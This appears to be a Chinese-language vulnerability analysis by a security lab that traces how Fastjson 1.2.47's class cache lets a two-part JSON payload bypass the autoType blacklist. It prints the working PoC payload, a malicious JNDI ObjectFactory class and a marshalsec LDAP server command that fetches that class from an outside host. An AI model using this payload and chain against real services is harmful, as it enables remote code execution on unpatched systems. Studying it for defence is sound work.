作者：天融信阿尔法实验室
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前言
本文衔接上一篇文章《FastJson历史漏洞研究（一）》，继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。
Fastjson 1.2.47漏洞分析
Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是，Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行。
首先来看一下公开的poc。
public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}从代码中可见，与以往利用不同的是，该poc中构造了两个json字符串。
1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}
为了弄清楚这样构造的意义，我们来动态调试一下这个漏洞。
程序首先解析第一个json字符串。
"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析过程
我们跳过部分FastJson解析流程，直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验。
在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中，程序首先进入了这个分支，程序调用getClassFromMapping对typeName进行解析，typeName即为字符串中@type的值，在第一个json字符串中，这个值为"java.lang.Class"。
我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping。
从上图代码可见，程序想从mappings中寻找键名为”java.lang.Class”的元素并返回对应的键值。值得一提的是，mappings集合与后文将要讲到的buckets集合对这个漏洞至关重要，这二者是这个漏洞产生的核心因素。
- mappings集合
mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示。
从上图可见，mappings中存储着类名字符串以及对应类对象。然而mappings中的数据又是从何而来的呢？
经过调试发现，mappings中存储的数据是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的。
从Mapping集合中的数据可以猜测，Mapping是用来存储一些基础的Class，以便于在反序列化处理这些基础类时提高效率。
在弄清楚mappings列表的由来后，继续回到正题。我们构造的typeName(@type指定的"java.lang.Class")并不在Mappings的键中。因此getClassFromMapping方法返回null，程序继续向下执行进入下一个if分支。此时程序接着调用deserializers.findClass对传入的typeName进行解析。
我们跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法进行进一步分析。
从上图代码可见，程序会遍历buckets，取出其中元素的key属性值的名称并与传入的”java.lang.Class”进行比较，如果二者相同，则将这个Class对象返回。
- buckets集合
现在我们要谈谈buckets集合了。buckets又存储着什么元素呢？见下图。
上图我们展开了一个buckets集合中元素进行展示。与Mapping集合相同的问题产生了：buckets中的元素都有哪些、他们又从何而来呢？经过调试我们在见下三张图中找到了答案。
通过FastJson作者关于buckets集合的注释猜测，buckets是一个用于并发的IdentityHashMap。
回到调试流程中findClass方法来，我们构造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了，因此java.lang.Class类对象被返回。
在findClass执行完成后，java.lang.Class类对象被返回到checkAutoType中并赋值给clazz，checkAutoType方法也将于963行处将clazz返回。
回顾一下上文中的Mapping集合和buckets集合，Fastjson为什么要将用户传入的\@type字段指定的字符串在这两个集合中匹配呢?
Mapping集合则是用来存储基础的Class，如果\@type字段传入的字符串如果对应了基础Class，程序则直接找到其类对象并将其类对象返回，从而跳过了checkAutoType后续的部分校验过程。而buckets集合则是用于并发操作。
但无论Mapping集合与buckets集合实际作用是什么，但凡用户传入的\@type字段字段值在两个集合中任意一个中，且程序使用JSON.parseObject(payload);这样的形式解析字符串(确保expectClass为空，防止进入上图957行if分支)，checkAutoType都将会直接将其对应的Class返回。
checkAutoType在将clazz返回后，程序将会执行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代码。
从上图第一个红框可见，checkAutoType在将用户传入的@type值返回后，程序会赋值给上图316行处clazz变量，而上图384行处的deserialze方法紧接着处理这个clazz变量。
跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中。
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
?
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
?
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
?
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}此时传入deserialze中clazz变量为checkAutoType安全模块校验后返回的"java.lang.Class"而fieldName变量值为解析的第一个json字段名"a"。
deserialze方法中，与本次漏洞与poc构造的代码块主要有三部分，分别是：
1.取出json字符串中val值
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);在这段代码中，程序将判断传入的json字符串中是否有”val”,并将其值通过下图第一个红框处的代码取出赋值给objVal变量。
2.将objVal变量值转换为String类型并赋值strVal变量
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} 这段代码与上一段衔接，objVal变量值又传递给下图第二个红框处。strVal变量判断objVal非空且为String类实例时，将其转换为String类型并赋值与strVal
3.调用TypeUtils.loadClass处理val值
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}这段代码的作用时，当传入的clazz变量为Class的类对象时，调用TypeUtils.loadClass处理strVal(即json字符串中的val值)。
在分析完deserialze方法的加工流程后，我们回头看看poc中构造的val值是什么，见下图红框处。
poc中构造的是com.sun.rowset.JdbcRowSetImpl字符串，也就是过往漏洞利用中可利用的类。但是根据之前的分析，自从黑名单机制的完善，这个类早已已经不能简单的直接利用了，这个漏洞究竟是如何让这个类绕过黑名单重获新生呢？我们继续往下看看TypeUtils.loadClass中的操作，继续跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass。
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}loadClass接收的一个参数:"className"为String类型变量，根据上文的调用关系，这里传入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className参数值为"com.sun.rowset.JdbcRowSetImpl"。
通过分析loadClass方法代码，可以发现如下代码。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}在该代码段中，程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象，并赋值给clazz变量。此时的className、clazz变量形式如下图。
接着，程序判断cache变量情况：在当cache为true时，将className、clazz键值对加入mappings集合(cache默认为true)。
经过动态调试可以发现，通过上面的一系列操作，Mappings集合中确实已经加入了我们的恶意类com.sun.rowset.JdbcRowSetImpl，见下图。
在我们的第一个json字符串解析完成后，程序随后会解析我们第二个json字符串。
"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析过程
与第一个json字符串解析流程完全一致，程序也执行到下图部分。
由于这次Mapping中有键名为com.sun.rowset.JdbcRowSetImpl的元素，因此clazz被赋值为com.sun.rowset.JdbcRowSetImpl类对象。
从下面两张图可见，此时上文的流程完全一致，只不过这次返回的时com.sun.rowset.JdbcRowSetImpl类对象。
com.sun.rowset.JdbcRowSetImpl恶意类被顺利返回，但是整个操作流程中并未触发checkAutoType黑白名单校验机制。随后com.sun.rowset.JdbcRowSetImpl恶意类被反序列化，触发利用。
漏洞利用
为了证实漏洞的存在，我们首先在192.167.30.116服务器的80端口web服务上部署ExecTest.class。ExecTest.java中内容如下。
java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}使用marshalsec开启ladp服务，监听在1389端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389
]
demo程序执行完毕，计算器成功弹出。
总结
Fastjson 1.2.47版本的漏洞与Fastjson历史上存在的大多数漏洞不同。本次漏洞相比自立一派，与过往那些针对补丁绕过的漏洞相比，本次漏洞更为复杂与精妙。1.2.47版本的漏洞涉及到一些Fastjson机制类的知识，通过对这个漏洞进行分析，可以更好的了解FastJson框架。
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